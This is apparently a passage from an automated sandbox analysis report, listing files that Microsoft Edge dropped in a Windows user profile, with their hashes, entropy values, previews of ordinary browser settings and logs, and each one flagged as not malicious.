r/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\6a56aa9a-7c0f-490b-85b4-f282d55ec683.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090752358834268
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBM/wuF9hDO6vP6O+Rtbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEX6gtbz8hu3VlXr4CRo1
MD5:	22107D6EE7B068869F75C7129B9C69EF
SHA1:	CD9FDFC3CA14A8709FC547BDF65C395C0C5AF2C4
SHA-256:	6C785D5851F61835C9FD84490385BB0915A63C549EAA403E8FC129C61D545B50
SHA-512:	00473CFD1400480B86364D4AF72347B3D80FD3D1A7AAAED689209AB7DD50FE095F4AE209249B2EC98DD69D7A08CFF94D5293E4592FFAEBDBBDDF62197B3BC601
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics\BrowserMetrics-66D3A79D-1EB0.pma

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.14433808080279148
Encrypted:	false
SSDEEP:	768:k5btivCcmYJqNCvV7vYW/cXTpxgIyLRGON18XIjGWRGO:k5hivXmYbv5D/cXVxg/LRG/IjGWRG
MD5:	2DC3898F96FDDC02A034566C36891D46
SHA1:	8A9B3042E87FD032A6CA16EDAC572379CEE3FECE
SHA-256:	D0CF01848EC349DFEE161F00C48EA924D3908B71DF9816079E9457D8842CF204
SHA-512:	358BE4E67215C6E3F4EB23ABB6E64814FBD8AB458307C9FEC9DCF3C4DB17F0DE4355BD935013265A24E73D9E8181EC835E41CFA13F9675D3199BF8A0D0B0DDF0
Malicious:	false
Preview:	...@..@...@.....C.].....@...................H...............`... ...i.y.........BrowserMetrics......i.y..Yd. .......A...................v.0.....UV&K.k<................UV&K.k<................UMA.PersistentHistograms.InitResult.....8...i.y.[".................................................i.y.Pq.30..............117.0.2045.47-64..".en-GB...Windows NT..10.0.190452l..x86_64..?.......".tmxtxn20,1(.0..8..B.......2.:.M..BU..Be...?j...GenuineIntel... .. ..........x86_64...J....k..^o..J..l.zL.^o..J....\.^o..J.....f.^o..J....?.^o..P.Z...b.INBXj....... .8.@..............(......................w..U].0r........>.........."....."...24.."."pZLhTaJ23hN5uQxwzu0K2CYes/dvJuE93VbIVV/LnRA=".:............B)..1.3.177.11.. .*.RegKeyNotFound2.windowsR...Z...u...V.S@..$...SF@.......Y@.......4@.......Y@........?........?.........................Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......4@.......Y@................Y@.......Y@.......Y@........?........?2............... .2......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	280
Entropy (8bit):	4.132041621771752
Encrypted:	false
SSDEEP:	3:FiWWltlApdeXKeQwFMYLAfJrAazlYBVP/Sh/JzvPWVcRVEVg3WWD5x1:o1ApdeaEqYsMazlYBVsJDu2ziy5
MD5:	845CFA59D6B52BD2E8C24AC83A335C66
SHA1:	6882BB1CE71EB14CEF73413EFC591ACF84C63C75
SHA-256:	29645C274865D963D30413284B36CC13D7472E3CD2250152DEE468EC9DA3586F
SHA-512:	8E0E7E8CCDC8340F68DB31F519E1006FA7B99593A0C1A2425571DAF71807FBBD4527A211030162C9CE9E0584C8C418B5346C2888BEDC43950BF651FD1D40575E
Malicious:	false
Preview:	sdPC......................X..<EE..r/y..."pZLhTaJ23hN5uQxwzu0K2CYes/dvJuE93VbIVV/LnRA="..................................................................................47DEQpj8HBSa+/TImW+5JCeuQeRkm5NMpJWZG3hSuFU=....................fdb35e9f-12f5-40d5-8d50-87a9333d43a4............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\0305d237-9ff5-40f6-b85e-aea83e048fb9.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\0d2630a1-e339-4ef5-919f-f81120e7c0ab.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	24691
Entropy (8bit):	5.568667568185657
Encrypted:	false
SSDEEP:	768:2I43NOWPiVfW18F1+UoAYDCx9Tuqh0VfUC9xbog/OV9IO3urwdSp6tub:2I43NOWPiVfW1u1ja0d3rdXtg
MD5:	30AA878D610C5710308370AB3E492846
SHA1:	CE8FA454F32AFB40F8B689A198B81F44ABBA1A90
SHA-256:	556187801C042050E05CA49BE468CF8990622618D63FF53C5C75D68DAB6D6289
SHA-512:	C194C97BB4A59E32F05C7B618D5E8B98203DB4A56708E94F9075A700A011EB0CB0E7C0F86AC948E394A34545688AA1473B9500DFD70FBABD8D0920C882BB1EB9
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13369620629137665","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13369620629137665","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\312ab3e0-52e6-4095-afb6-3e45ea8daa18.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\36024a44-5542-48d9-a624-1c2416836eb6.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\7cb0ef50-5186-445a-9a87-b3e314361797.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	7818
Entropy (8bit):	5.090523720484719
Encrypted:	false
SSDEEP:	192:sthxsGx8CZihnkzsY8bV+FiA66WbhaFIMY8hbLMJ:sthxsGx8xhDbGix6WbhaTY86
MD5:	25F282BF41CC798E49FA745FE6967D10
SHA1:	298C2C8554B3EB7B7F5320427E3F5B101E8DC02C
SHA-256:	027C6604723E523C0505C68A28BC113BEFFD6F860C45E765993FA7AF969847B9
SHA-512:	133EFBF412715AF490D69E8CDAB07335EE21428B1B7CA4F64494805E3DA7EAB344F335AD56FCDF51E1A632C72C267AE8EBE2A855F7CD1AC61108BF5E23A8B202
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13369620629402368","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false},"continuous_migration":{"ci_correction_for_holdout_treatment_state":1},"countryid_at_install":17224,"custom_links":{"list":[]},"default_apps_install_state":3,"domain_diversity":{"last_reporting_timestamp":"13369620629404672"},"dual_engine":{"consumer_mode":{"ie_user":false},"consumer_site_list_with_ie_entries":false,"consumer_sitelist_location":"","consumer_sitelist_version":"","external_consumer_shared_cookie_data":{},"shared_cookie_data":{},"sitelist_data_2":{},"sitelist_has_consumer_data":false,"sitelist_has_enterprise_data":false,"sitelist_location":"","sitelist_source":0,"sitelist_version":""},"edge":{

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\891fd384-ac30-4f77-85ec-c2ec467db5bd.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\DawnCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	0.0018238520723782249
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2zEflSA:/M/xT02z5A
MD5:	7949972CDFCB02FE97A1C20F9F2BFAB8
SHA1:	27CA42362A366C7855A6F13A89DC016AA78B0DE0
SHA-256:	D2EE9A5AA36B8DA9DB940E5D002CDDCAD212136EE980125D14C246776AF1D596
SHA-512:	BAEF95B340AB9C0D65B8238CB37D9241A92999FAEEC56439F66AFAA075BA4F00625F9E43B3193D6CA6745A83F3EC3D4498F3BA3621D945376AE874FC11C12DA5
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	348
Entropy (8bit):	5.212262971096164
Encrypted:	false
SSDEEP:	6:7wq2P923oH+TcwtnG2tMsIFUt8M5FeBZmw+M5FebkwO923oH+TcwtnG2tMsLJ:7wv4Yebn9GFUt8MbeB/+Mbeb5LYebn9b
MD5:	817FAE4A236346D1580A07A5AF6BB767
SHA1:	359DB7BCC3314DB93991BA6C4648A271374C0806
SHA-256:	84CE59C0C651D79DB284B961348F1320FE8BC488828BE24F6A64FBA286EE9E31
SHA-512:	7A13ACBB255A9D6A0392FAFB2A1EBD9A33916AC556583720B2AE531263F2E909527A176A6FF48B189149EC811498DF8CEF23F429ED96AA906B3D8190C2BE479D
Malicious:	false
Preview:	2024/08/31-19:30:29.277 1bb0 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/MANIFEST-000001.2024/08/31-19:30:29.278 1bb0 Recovering log #3.2024/08/31-19:30:29.278 1bb0 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	348
Entropy (8bit):	5.212262971096164
Encrypted:	false
SSDEEP:	6:7wq2P923oH+TcwtnG2tMsIFUt8M5FeBZmw+M5FebkwO923oH+TcwtnG2tMsLJ:7wv4Yebn9GFUt8MbeB/+Mbeb5LYebn9b
MD5:	817FAE4A236346D1580A07A5AF6BB767
SHA1:	359DB7BCC3314DB93991BA6C4648A271374C0806
SHA-256:	84CE59C0C651D79DB284B961348F1320FE8BC488828BE24F6A64FBA286EE9E31
SHA-512:	7A13ACBB255A9D6A0392FAFB2A1EBD9A33916AC556583720B2AE531263F2E909527A176A6FF48B189149EC811498DF8CEF23F429ED96AA906B3D8190C2BE479D
Malicious:	false
Preview:	2024/08/31-19:30:29.277 1bb0 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/MANIFEST-000001.2024/08/31-19:30:29.278 1bb0 Recovering log #3.2024/08/31-19:30:29.278 1bb0 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\LOG.old~RF49d75.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	348
Entropy (8bit):	5.212262971096164
Encrypted:	false
SSDEEP:	6:7wq2P923oH+TcwtnG2tMsIFUt8M5FeBZmw+M5FebkwO923oH+TcwtnG2tMsLJ:7wv4Yebn9GFUt8MbeB/+Mbeb5LYebn9b
MD5:	817FAE4A236346D1580A07A5AF6BB767
SHA1:	359DB7BCC3314DB93991BA6C4648A271374C0806
SHA-256:	84CE59C0C651D79DB284B961348F1320FE8BC488828BE24F6A64FBA286EE9E31
SHA-512:	7A13ACBB255A9D6A0392FAFB2A1EBD9A33916AC556583720B2AE531263F2E909527A176A6FF48B189149EC811498DF8CEF23F429ED96AA906B3D8190C2BE479D
Malicious:	false
Preview:	2024/08/31-19:30:29.277 1bb0 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/MANIFEST-000001.2024/08/31-19:30:29.278 1bb0 Recovering log #3.2024/08/31-19:30:29.278 1bb0 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	380
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	6:qTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCT:qWWWWWWWWWWWWWWWWWWW
MD5:	9FE07A071FDA31327FA322B32FCA0B7E
SHA1:	A3E0BAE8853A163C9BB55F68616C795AAAF462E8
SHA-256:	E02333C0359406998E3FED40B69B61C9D28B2117CF9E6C0239E2E13EC13BA7C8
SHA-512:	9CCE621CD5B7CFBD899ABCBDD71235776FF9FF7DEA19C67F86E7F0603F7B09CA294CC16B672B742FA9B51387B2F0A501C3446872980BCA69ADE13F2B5677601D
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.165321621303193
Encrypted:	false
SSDEEP:	6:72Aq2P923oH+Tcwt8aPrqIFUt8M2hZmw+M27kwO923oH+Tcwt8amLJ:72Av4YebL3FUt8M2h/+M275LYebQJ
MD5:	607A77C81CA2DA8E70DB774263FF611E
SHA1:	5F7616D93E36171E7768BE573439925A7F3D3C0A
SHA-256:	7F3A634CFF3130B2E290A70437B8E556B9EE166F36F11A57E383546CF9050AC4
SHA-512:	6F215F946C2F590E25972F309FA19A973E2EE6C9A9EAD5F4528F583BA9924B5ED039D72BA20ADFF8190DB17AD067C3B4EAB6C580DF0C9CDC4E40A9E10ECB4D03
Malicious:	false
Preview:	2024/08/31-19:30:29.283 1bb0 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/MANIFEST-000001.2024/08/31-19:30:29.283 1bb0 Recovering log #3.2024/08/31-19:30:29.283 1bb0 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.165321621303193
Encrypted:	false
SSDEEP:	6:72Aq2P923oH+Tcwt8aPrqIFUt8M2hZmw+M27kwO923oH+Tcwt8amLJ:72Av4YebL3FUt8M2h/+M275LYebQJ
MD5:	607A77C81CA2DA8E70DB774263FF611E
SHA1:	5F7616D93E36171E7768BE573439925A7F3D3C0A
SHA-256:	7F3A634CFF3130B2E290A70437B8E556B9EE166F36F11A57E383546CF9050AC4
SHA-512:	6F215F946C2F590E25972F309FA19A973E2EE6C9A9EAD5F4528F583BA9924B5ED039D72BA20ADFF8190DB17AD067C3B4EAB6C580DF0C9CDC4E40A9E10ECB4D03
Malicious:	false
Preview:	2024/08/31-19:30:29.283 1bb0 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/MANIFEST-000001.2024/08/31-19:30:29.283 1bb0 Recovering log #3.2024/08/31-19:30:29.283 1bb0 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	380
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	6:qTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCT:qWWWWWWWWWWWWWWWWWWW
MD5:	9FE07A071FDA31327FA322B32FCA0B7E
SHA1:	A3E0BAE8853A163C9BB55F68616C795AAAF462E8
SHA-256:	E02333C0359406998E3FED40B69B61C9D28B2117CF9E6C0239E2E13EC13BA7C8
SHA-512:	9CCE621CD5B7CFBD899ABCBDD71235776FF9FF7DEA19C67F86E7F0603F7B09CA294CC16B672B742FA9B51387B2F0A501C3446872980BCA69ADE13F2B5677601D
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.190545026330474
Encrypted:	false
SSDEEP:	6:7tAq2P923oH+Tcwt865IFUt8MrZmw+M36VFkwO923oH+Tcwt86+ULJ:7Ov4Yeb/WFUt8Mr/+M3C5LYeb/+SJ
MD5:	25FB273919A53C6839E2CD0A1C9E1ED5
SHA1:	61EA96BC99C0D515551BBAB3F2B054D2E8ECD0B3
SHA-256:	6D90A81150598B7D77E18F014824E3ECA24CA33142C1BFCBDCCE037F4E7EE893
SHA-512:	D4A2AE9B98B59FFC646A3C838599056F7166F07B4CC1122F137EEC774A5C74B9D802A1D9E312B43BF64032F0847E23A1571CFD41872B2D51247B6F3572B10C7E
Malicious:	false
Preview:	2024/08/31-19:30:29.293 1bb0 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/MANIFEST-000001.2024/08/31-19:30:29.297 1bb0 Recovering log #3.2024/08/31-19:30:29.298 1bb0 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.190545026330474
Encrypted:	false
SSDEEP:	6:7tAq2P923oH+Tcwt865IFUt8MrZmw+M36VFkwO923oH+Tcwt86+ULJ:7Ov4Yeb/WFUt8Mr/+M3C5LYeb/+SJ
MD5:	25FB273919A53C6839E2CD0A1C9E1ED5
SHA1:	61EA96BC99C0D515551BBAB3F2B054D2E8ECD0B3
SHA-256:	6D90A81150598B7D77E18F014824E3ECA24CA33142C1BFCBDCCE037F4E7EE893
SHA-512:	D4A2AE9B98B59FFC646A3C838599056F7166F07B4CC1122F137EEC774A5C74B9D802A1D9E312B43BF64032F0847E23A1571CFD41872B2D51247B6F3572B10C7E
Malicious:	false
Preview:	2024/08/31-19:30:29.293 1bb0 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/MANIFEST-000001.2024/08/31-19:30:29.297 1bb0 Recovering log #3.2024/08/31-19:30:29.298 1bb0 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	1140
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	12:qWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWW:
MD5:	914FD8DC5F9A741C6947E1AB12A9D113
SHA1:	6529EFE14E7B0BEA47D78B147243096408CDAAE4
SHA-256:	8BE3C96EE64B5D2768057EA1C4D1A70F40A0041585F3173806E2278E9300960B
SHA-512:	2862BF83C061414EFA2AC035FFC25BA9C4ED523B430FDEEED4974F55D4450A62766C2E799D0ACDB8269210078547048ACAABFD78EDE6AB91133E30F6B5EBFFBD
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5........

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.1631926371775165
Encrypted:	false
SSDEEP:	6:7Xuq2P923oH+Tcwt8NIFUt8MTXZmw+MTFkwO923oH+Tcwt8+eLJ:7Xuv4YebpFUt8MT/+MJ5LYebqJ
MD5:	3598E2D111A037DE2A1E4E643D660D9B
SHA1:	298E62CB0A753DF1C82DAAE7A7340268C6092309
SHA-256:	10364719B2D4495F46DFFE4C2D74380B6C35154C179D9D84F61CAF7CA5F6DCB7
SHA-512:	F473693953952C6C8BD0E990E2A8B170D88AF0CDC34BE51BA8D5A2E9474158859D50B5942015389C23D77492A449F3919FD8367E8418A72AC7C7EE90349DCCA5
Malicious:	false
Preview:	2024/08/31-19:30:37.724 1f40 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/MANIFEST-000001.2024/08/31-19:30:37.728 1f40 Recovering log #3.2024/08/31-19:30:37.728 1f40 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.1631926371775165
Encrypted:	false
SSDEEP:	6:7Xuq2P923oH+Tcwt8NIFUt8MTXZmw+MTFkwO923oH+Tcwt8+eLJ:7Xuv4YebpFUt8MT/+MJ5LYebqJ
MD5:	3598E2D111A037DE2A1E4E643D660D9B
SHA1:	298E62CB0A753DF1C82DAAE7A7340268C6092309
SHA-256:	10364719B2D4495F46DFFE4C2D74380B6C35154C179D9D84F61CAF7CA5F6DCB7
SHA-512:	F473693953952C6C8BD0E990E2A8B170D88AF0CDC34BE51BA8D5A2E9474158859D50B5942015389C23D77492A449F3919FD8367E8418A72AC7C7EE90349DCCA5
Malicious:	false
Preview:	2024/08/31-19:30:37.724 1f40 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/MANIFEST-000001.2024/08/31-19:30:37.728 1f40 Recovering log #3.2024/08/31-19:30:37.728 1f40 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\LOG.old~RF49db3.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.1631926371775165
Encrypted:	false
SSDEEP:	6:7Xuq2P923oH+Tcwt8NIFUt8MTXZmw+MTFkwO923oH+Tcwt8+eLJ:7Xuv4YebpFUt8MT/+MJ5LYebqJ
MD5:	3598E2D111A037DE2A1E4E643D660D9B
SHA1:	298E62CB0A753DF1C82DAAE7A7340268C6092309
SHA-256:	10364719B2D4495F46DFFE4C2D74380B6C35154C179D9D84F61CAF7CA5F6DCB7
SHA-512:	F473693953952C6C8BD0E990E2A8B170D88AF0CDC34BE51BA8D5A2E9474158859D50B5942015389C23D77492A449F3919FD8367E8418A72AC7C7EE90349DCCA5
Malicious:	false
Preview:	2024/08/31-19:30:37.724 1f40 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/MANIFEST-000001.2024/08/31-19:30:37.728 1f40 Recovering log #3.2024/08/31-19:30:37.728 1f40 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\GPUCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	modified
Size (bytes):	270336
Entropy (8bit):	0.0018238520723782249
Encrypted:	false
